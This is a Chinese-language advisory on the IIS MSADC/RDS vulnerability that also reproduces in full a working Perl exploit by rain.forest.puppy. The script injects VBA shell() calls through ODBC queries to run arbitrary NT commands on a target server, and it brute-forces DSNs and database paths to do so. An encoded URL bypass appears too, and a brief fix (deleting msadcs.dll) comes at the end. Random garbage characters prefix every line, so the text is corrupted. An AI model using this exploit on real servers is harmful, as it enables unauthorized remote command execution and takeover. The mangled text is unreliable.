IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#Mrof9 5V8W SnO 涉及程序：
>E6w,Ab Microsoft NT server
vT)FLhH6* K<6)SL4 描述：
#,lJ>mTe4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[s"xOP9R VI/77 详细：
$zKf>[K 如果你没有时间读详细内容的话，就删除:
qJj"WU5 c:\Program Files\Common Files\System\Msadc\msadcs.dll
6;Wn s' 有关的安全问题就没有了。
~p<w>C9 =wtu 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
PF~w$ eeQ w`x4i fZ0q 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Gg$4O 8 关于利用ODBC远程漏洞的描述，请参看:
3vepJ) D ( SN' j?- http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <>%2HRn<u M*<Ee]u 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
AhWc JD] http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2Jm#3zFYz3 E.45 s? r 这里不再论述。
tFn_{fCc> 4zzJ5,S 1 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
lp+Uo x }fU"s" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Lk#8G>U 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Qv~lH&jG e#Bx lC 4c0 =\v #将下面这段保存为txt文件，然后: "perl -x 文件名"
{Dup k0'( Xw)W6H| #!perl
C;>!SRCp #
h&}z@ # MSADC/RDS 'usage' (aka exploit) script
7wKT:~~oS3 #
VN]70LFz*i # by rain.forest.puppy
L.X"wIs^ #
8Mg wXH # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Qa>t$`o` # beta test and find errors!
21_sg f? [&eG>zF" use Socket; use Getopt::Std;
-Ph"#R& getopts("e:vd:h:XR", \%args);
bS7%%8C | q!O ~<H@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
QN)EPS:y *QH~ z2:[ if (!defined $args{h} && !defined $args{R}) {
xU9T8Lw print qq~
_D.4=2@|l8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
dT?mMTKn+ -h <host> = host you want to scan (ip or domain)
"!, )Pv -d <seconds> = delay between calls, default 1 second
#|-i*2@oR -X = dump Index Server path table, if available
r"YOA@ -v = verbose
M 5c$ -e = external dictionary file for step 5
x e`SnJgA >W>3w Or a -R will resume a command session
@KJ~M3d0l E/OfkL*\ ~; exit;}
cb8 2k[L6 ?vh1 >1D $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
JIL(\ d if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
q!f'?yFYK if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'nJ,mZx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
a1#",%{I $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
wjy <{I if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
]Ub"NLYV 0H!J if (!defined $args{R}){ $ret = &has_msadc;
-RI&uFqOI die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:yxP3e%rp 4m1@lnjp print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\uG^w(*) . "cmd /c ";
,B 2p\ $in=<STDIN>; chomp $in;
L5DeLF+ $command="cmd /c " . $in ;
ze"`5z26| MMU>55+- if (defined $args{R}) {&load; exit;}
q8 SHFKE uxx ( WS print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Xx,Rah)X3 &try_btcustmr;
s+0n0C T|k_$LH print "\nStep 2: Trying to make our own DSN...";
Kt3T~k &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
{Ri6975
{c}n."` print "\nStep 3: Trying known DSNs...";
H"NBjVRU% &known_dsn;
xcE2hK/+ M.qE$ print "\nStep 4: Trying known .mdbs...";
T deHs{| &known_mdb;
# b,! N weH; ,e*r if (defined $args{e}){
N1fPutl$a print "\nStep 5: Trying dictionary of DSN names...";
\%}w7J ; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
VPvQ]}g6k 0JE*| CtK print "Sorry Charley...maybe next time?\n";
ec h1{v\B| exit;
U{ 52bH< x~?|bnM#3 ##############################################################################
0d/
f4 p}]K0F!
sub sendraw { # ripped and modded from whisker
0u}+n+\ g sleep($delay); # it's a DoS on the server! At least on mine...
%6 Y\4Fe my ($pstr)=@_;
eNDc2 20b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
" N3!!3 die("Socket problems\n");
TUN6`/" if(connect(S,pack "SnA4x8",2,80,$target)){
O[+\` 63F= select(S); $|=1;
R+# g_"1@p print $pstr; my @in=<S>;
+!/pzoWpE select(STDOUT); close(S);
wd*V,ZN7 return @in;
JD)wxoe g } else { die("Can't connect...\n"); }}
e'X"uH Xt. Z6fR2A~Q[ ##############################################################################
o*5b]XWw {W' {A sub make_header { # make the HTTP request
NCp]!=uM; my $msadc=<<EOT
q|_ C j]{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
o0kK f+[ User-Agent: ACTIVEDATA
I I]-mb Host: $ip
nmw#4yHYy: Content-Length: $clen
mXT{ c=N)w Connection: Keep-Alive
L"L a| ef K
WR ADCClientVersion:01.06
C]a iu Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
NQx>u eI cIl2 --!ADM!ROX!YOUR!WORLD!
@NYlVk2 Content-Type: application/x-varg
.h-k*F0Ga) Content-Length: $reqlen
(V>/[Ev x-T7
tr&( EOT
nNhb,J ; $msadc=~s/\n/\r\n/g;
1`2lq~=GV return $msadc;}
G&q@B`I :gM_v?sy ##############################################################################
.Fx-$ Yqy ~. E r sub make_req { # make the RDS request
YeI| &FMX my ($switch, $p1, $p2)=@_;
.2
}5Dc,eR my $req=""; my $t1, $t2, $query, $dsn;
._p^0U xT 9gFfbvd if ($switch==1){ # this is the btcustmr.mdb query
chu r(@Af
$query="Select * from Customers where City=" . make_shell();
R:y u $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Q"k #eEA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.-:@+=( _#yd0 E elsif ($switch==2){ # this is general make table query
vMYEP_lhK, $query="create table AZZ (B int, C varchar(10))";
6$G@>QCBS $dsn="$p1";}
u vyv y F\ %PB p elsif ($switch==3){ # this is general exploit table query
XZ 4 H(Cj $query="select * from AZZ where C=" . make_shell();
^. ~ F_ $dsn="$p1";}
\ ccCrDz r12 e26_Ab elsif ($switch==4){ # attempt to hork file info from index server
2{01i)2 y $query="select path from scope()";
;HmQRiCg $dsn="Provider=MSIDXS;";}
m }\L i] MC_i" P6a elsif ($switch==5){ # bad query
^ux"< ? $query="select";
OSkBBo]~z $dsn="$p1";}
gmCB4MO e0g>.P@6 $t1= make_unicode($query);
'ALe>\WO $t2= make_unicode($dsn);
Bg}( Sy $req = "\x02\x00\x03\x00";
4Y{ &y6 $req.= "\x08\x00" . pack ("S1", length($t1));
^}4ysw $req.= "\x00\x00" . $t1 ;
{^@qfkZz^ $req.= "\x08\x00" . pack ("S1", length($t2));
G3D!ifho.# $req.= "\x00\x00" . $t2 ;
sDS0cc6e $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`7Dj}vVu return $req;}
SXRND;-W8 w V"C ,*V ##############################################################################
d=a$Gd_$ +~?K@n sub make_shell { # this makes the shell() statement
-O6\!Wo=- return "'|shell(\"$command\")|'";}
GD<pqm`vVY *h ~(LH"tN ##############################################################################
VMW< ?V
2Z @l?2", sub make_unicode { # quick little function to convert to unicode
g?9%_&/})A my ($in)=@_; my $out;
JT*Pm"} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]Czq
A c return $out;}
vb2aj!8_? u\@ L|rh ##############################################################################
GI/4<J\ K@@Jt sub rdo_success { # checks for RDO return success (this is kludge)
[zhcb+^5l my (@in) = @_; my $base=content_start(@in);
E akS(Q? if($in[$base]=~/multipart\/mixed/){
o T^r return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6gD|QC~; return 0;}
l` vr({A {ud^+I& ##############################################################################
2"B3Q:0he| Ffr6P
}I sub make_dsn { # this makes a DSN for us
n$jf($* my @drives=("c","d","e","f");
,C jJO - print "\nMaking DSN: ";
Op
;){JT foreach $drive (@drives) {
F >rf
cW2 print "$drive: ";
&: Sb$+z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
23gJD8i8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?`Som_vKO . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
l( ?Yx $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
EhHW ` return 0 if $2 eq "404"; # not found/doesn't exist
OuU ]A[r if($2 eq "200") {
?r}!d2:dX foreach $line (@results) {
E']Gh return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
i
,g<y } return 0;}
\:-N< [ ATf {;S} ##############################################################################
W'<cAg? -O>*`
O>M sub verify_exists {
2O)2#N my ($page)=@_;
ii]'XBSVd my @results=sendraw("GET $page HTTP/1.0\n\n");
l|K`'YS!<{ return $results[0];}
p>
4bj>Ql {bPcr hB ##############################################################################
eZ
+uW0 K7 $Vl"l sub try_btcustmr {
Ia>> b #h my @drives=("c","d","e","f");
me/ae{ my @dirs=("winnt","winnt35","winnt351","win","windows");
P7 p' j oxL4* bqZ foreach $dir (@dirs) {
|cq%eN print "$dir -> "; # fun status so you can see progress
0Z>oiB r4 foreach $drive (@drives) {
T#w *5Q f print "$drive: "; # ditto
d ^jIsE ` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]<\; -i) $reqlenlen=length( "$reqlen" );
Ow7I`# P $clen= 206 + $reqlenlen + $reqlen;
>zWVM1\\j POvpaPAZ< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
k Es=N( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*oz=k else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$; t#pN/`
Ss{
##############################################################################
@DYkWivLu #L,5;R{` sub odbc_error {
YP vg(T my (@in)=@_; my $base;
Y&_1U/}h my $base = content_start(@in);
9=Rj9% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
L8j#l u $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N^8
lfc$a $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6Bfu89 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IWcYa. =tZ return $in[$base+4].$in[$base+5].$in[$base+6];}
},5_h0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
7w=%aW| print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Q.[^5
8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
#%g~fh CmPix]YMQ ##############################################################################
ICgyCsZ, $\@yH^hL sub verbose {
"Z6: d"S` my ($in)=@_;
t#h<'?\E return if !$verbose;
VClw!bm print STDOUT "\n$in\n";}
dc0R o, RU'DUf ##############################################################################
|_;Vb D;Jb' Be sub save {
Zm@
O[:~ my ($p1, $p2, $p3, $p4)=@_;
_A .?:'- open(OUT, ">rds.save") || print "Problem saving parameters...\n";
U"v}br -kb print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c=p @l<) close OUT;}
GcPhT ` -N&cc ##############################################################################
< ~Tl x: i >[1^~; sub load {
jsvD[ \ P my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\HOOWaapN open(IN,"<rds.save") || die("Couldn't open rds.save\n");
E$[\Fk}S @p=<IN>; close(IN);
S:"t]gbF = $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%.R_[.W $target= inet_aton($ip) || die("inet_aton problems");
ngN_,x 7yc print "Resuming to $ip ...";
eM vb*X6 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Z qg(\ if($p[1]==1) {
{q:o}<-L+ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
:/IcFU~)M $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
(&$|R\W. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1XO *yZF if (rdo_success(@results)){print "Success!\n";}
=7mR#3yt else { print "failed\n"; verbose(odbc_error(@results));}}
QPfS3 %p` elsif ($p[1]==3){
|8"~ou:. if(run_query("$p[3]")){
S!n
9A print "Success!\n";} else { print "failed\n"; }}
VBssn]w elsif ($p[1]==4){
K5)G+Id* if(run_query($drvst . "$p[3]")){
<z|? C print "Success!\n"; } else { print "failed\n"; }}
FZ/l
T-" exit;}
t H"SOGfSt q'?:{k$% ##############################################################################
#7U,kTj9 (K+TqJw sub create_table {
K,}"v ;|| my ($in)=@_;
sHrpBm&O4 $reqlen=length( make_req(2,$in,"") ) - 28;
R6Cm:4m}I $reqlenlen=length( "$reqlen" );
Tf"DpA!_ $clen= 206 + $reqlenlen + $reqlen;
[,a O*7 N
my @results=sendraw(make_header() . make_req(2,$in,""));
wDZFOx0#8 return 1 if rdo_success(@results);
|Tz4 xTK my $temp= odbc_error(@results); verbose($temp);
q $`:/ ehw return 1 if $temp=~/Table 'AZZ' already exists/;
!DCJ2h%E[_ return 0;}
m=S[Y^tR u
hP0Zwn ##############################################################################
HJ5m5':a lq_W;L sub known_dsn {
T}[W') [s # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
As (C8C< my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Hk\+;'PrN "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
r<O^uz?Di "banner", "banners", "ads", "ADCDemo", "ADCTest");
rA 9x T` <'
%g $" foreach $dSn (@dsns) {
*ftJ ( print ".";
fT8Id\6js next if (!is_access("DSN=$dSn"));
EBM\p+x& if(create_table("DSN=$dSn")){
64 \Z OG\, print "$dSn successful\n";
c`X'Q)c&K if(run_query("DSN=$dSn")){
$YS D%/c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x[}e1sXXs print "Something's borked. Use verbose next time\n";}}} print "\n";}
C)z[Blt &u"*vG (U[ ##############################################################################
A0rdQmrOL Ytx+7OLe sub is_access {
ojVpw4y. my ($in)=@_;
=,[46 ;q $reqlen=length( make_req(5,$in,"") ) - 28;
4 _N)1u ! $reqlenlen=length( "$reqlen" );
i&>,aiH @ $clen= 206 + $reqlenlen + $reqlen;
gH\r# wy| my @results=sendraw(make_header() . make_req(5,$in,""));
'{ cN~A2b4 my $temp= odbc_error(@results);
dtM@iDljj verbose($temp); return 1 if ($temp=~/Microsoft Access/);
%1VMwqC]E return 0;}
MQY1he2M W'XMC " ##############################################################################
,mYoxEB kl !Y]}& pUP sub run_query {
(4 {49b my ($in)=@_;
<\^X, ,WtO $reqlen=length( make_req(3,$in,"") ) - 28;
!icpfxOpjQ $reqlenlen=length( "$reqlen" );
OV8b~k4= $clen= 206 + $reqlenlen + $reqlen;
R /^JyL my @results=sendraw(make_header() . make_req(3,$in,""));
{u.V8%8 return 1 if rdo_success(@results);
0uU %jN$ my $temp= odbc_error(@results); verbose($temp);
4&ea*w return 0;}
MmWJYF= & OhKx ##############################################################################
SC2C%.%l` q qzQKN sub known_mdb {
t 48(GKF my @drives=("c","d","e","f","g");
{C]M]b*F6( my @dirs=("winnt","winnt35","winnt351","win","windows");
iW"L!t#\| my $dir, $drive, $mdb;
1wc
-v@ E my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-'PpY302 6eDIS|/ # this is sparse, because I don't know of many
GYO\l.%V5y my @sysmdbs=( "\\catroot\\icatalog.mdb",
7Xad2wXn "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
iY|YEi8 "\\system32\\certmdb.mdb",
qfSoF| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
fSqbGoIQ oLr"8R\d>t my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4(aesZ8h "\\cfusion\\cfapps\\forums\\forums_.mdb",
7-o=E = "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
iQ9#gPk_9 "\\cfusion\\cfapps\\security\\realm_.mdb",
U[A*A^$c} "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Ab2g),;c "\\cfusion\\database\\cfexamples.mdb",
gv[7h'}< "\\cfusion\\database\\cfsnippets.mdb",
l(]\[}.5 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
5&X "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Ve8! "\\cfusion\\brighttiger\\database\\cleam.mdb",
[QZ~~(R "\\cfusion\\database\\smpolicy.mdb",
z t,-O7I'1 "\\cfusion\\database\cypress.mdb",
n~&R_"mv( "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
k9Sqp :l, "\\website\\cgi-win\\dbsample.mdb",
q6Q=Zo@ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|Lhz^5/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_yWH\5@ ); #these are just
|~HlNUPR foreach $drive (@drives) {
R NA03 foreach $dir (@dirs){
amBz75N{ foreach $mdb (@sysmdbs) {
:x {Q print ".";
68 HX,t if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
{-Y_8@& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
kuH;AMd v if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g?>AY2f[5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
GVl
u 4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
r0 X2cc o` 77gkLO foreach $drive (@drives) {
j&Hn`G foreach $mdb (@mdbs) {
GcU/ print ".";
k(
g$_ ]X if(create_table($drv . $drive . $dir . $mdb)){
7&At _l_ print "\n" . $drive . $dir . $mdb . " successful\n";
sN
C?o[9l! if(run_query($drv . $drive . $dir . $mdb)){
hL` zV print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
uf;q/Wr } else { print "Something's borked. Use verbose next time\n"; }}}}
Vd?v"2S(9 }
'!.;(Jo q~^:S~q ##############################################################################
yX-xVvlv@ s^oN Q} sub hork_idx {
\9}5}X_x. print "\nAttempting to dump Index Server tables...\n";
@qC:% | > print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
| ?|
u-y $reqlen=length( make_req(4,"","") ) - 28;
s{k\1 P(G} $reqlenlen=length( "$reqlen" );
20moX7L $clen= 206 + $reqlenlen + $reqlen;
xF/D YXC{8 my @results=sendraw2(make_header() . make_req(4,"",""));
.HQ<6k:
if (rdo_success(@results)){
og\XLJ}_ my $max=@results; my $c; my %d;
gPwp
[ for($c=19; $c<$max; $c++){
eurudl $results[$c]=~s/\x00//g;
2 T3DV])Q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
MJG%HakK0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
DrEtnt $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
r{Q< a $d{"$1$2"}="";}
p&4n3%(R@ foreach $c (keys %d){ print "$c\n"; }
ZWa#}VS}-n } else {print "Index server doesn't seem to be installed.\n"; }}
OV/FQH; V )j6>b-H ##############################################################################
*h4m<\^U Az-!LAu9 R sub dsn_dict {
- X_ w& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
6J
5)4^bk while(<IN>){
[;=ky<K 0E $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
cLU*Tx\ next if (!is_access("DSN=$dSn"));
Q$vr`yV#=6 if(create_table("DSN=$dSn")){
YW{V4yW print "$dSn successful\n";
? g{,MP5 if(run_query("DSN=$dSn")){
>Y+ KL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
D9C}Dys print "Something's borked. Use verbose next time\n";}}}
Cv~hU %1T print "\n"; close(IN);}
ziycyf.d 1hviT& ##############################################################################
VjqdKQeVq S1zw'!O5 sub sendraw2 { # ripped and modded from whisker
S <_pGz$V sleep($delay); # it's a DoS on the server! At least on mine...
9Bk}g50$# my ($pstr)=@_;
b e/1- =m socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
I.u,f:Fl' die("Socket problems\n");
3rY /6{ if(connect(S,pack "SnA4x8",2,80,$target)){
Mak9qaWqF> print "Connected. Getting data";
BZ <z@DJp open(OUT,">raw.out"); my @in;
G z XP select(S); $|=1; print $pstr;
]'h)7 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Mdrv /x{ close(OUT); select(STDOUT); close(S); return @in;
12PE{Mu t } else { die("Can't connect...\n"); }}
lDU:EJ&DHE !5OMAWNU@ ##############################################################################
BNCJT$t YX )t0b$<% sub content_start { # this will take in the server headers
6 h_ k`z my (@in)=@_; my $c;
0:Y`#0qK for ($c=1;$c<500;$c++) {
<u?hdwW \ if($in[$c] =~/^\x0d\x0a/){
\.1b\\ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Gr@{ p"./z else { return $c+1; }}}
N`Xnoehu return -1;} # it should never get here actually
*Z`eNz} N#)VD\m ##############################################################################
G`#gV"PlC 4 _%FSW8- sub funky {
CDYx/yO my (@in)=@_; my $error=odbc_error(@in);
uHro%UAd if($error=~/ADO could not find the specified provider/){
^X;Xti print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~fp+@j-A exit;}
{}o>ne nx\ if($error=~/A Handler is required/){
- fx88 print "\nServer has custom handler filters (they most likely are patched)\n";
O|&TL9: exit;}
D
Ok^ON if($error=~/specified Handler has denied Access/){
aaug u.9 print "\nServer has custom handler filters (they most likely are patched)\n";
]A]E)* exit;}}
70
UgK E !(_xu{(DL ##############################################################################
K2rS[Kdfaq z83:a) U sub has_msadc {
`VF l|o#H my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ZU.) K>' my $base=content_start(@results);
:ZfUjqRE return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,N7l/6 return 0;}
;vc lAsJ p u$XUt
########################
>jz%bY [9U srpYi sHTePEJ_h 解决方案：
w52HN;Jm 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/-YlC (kL 2、移除web 目录: /msadc
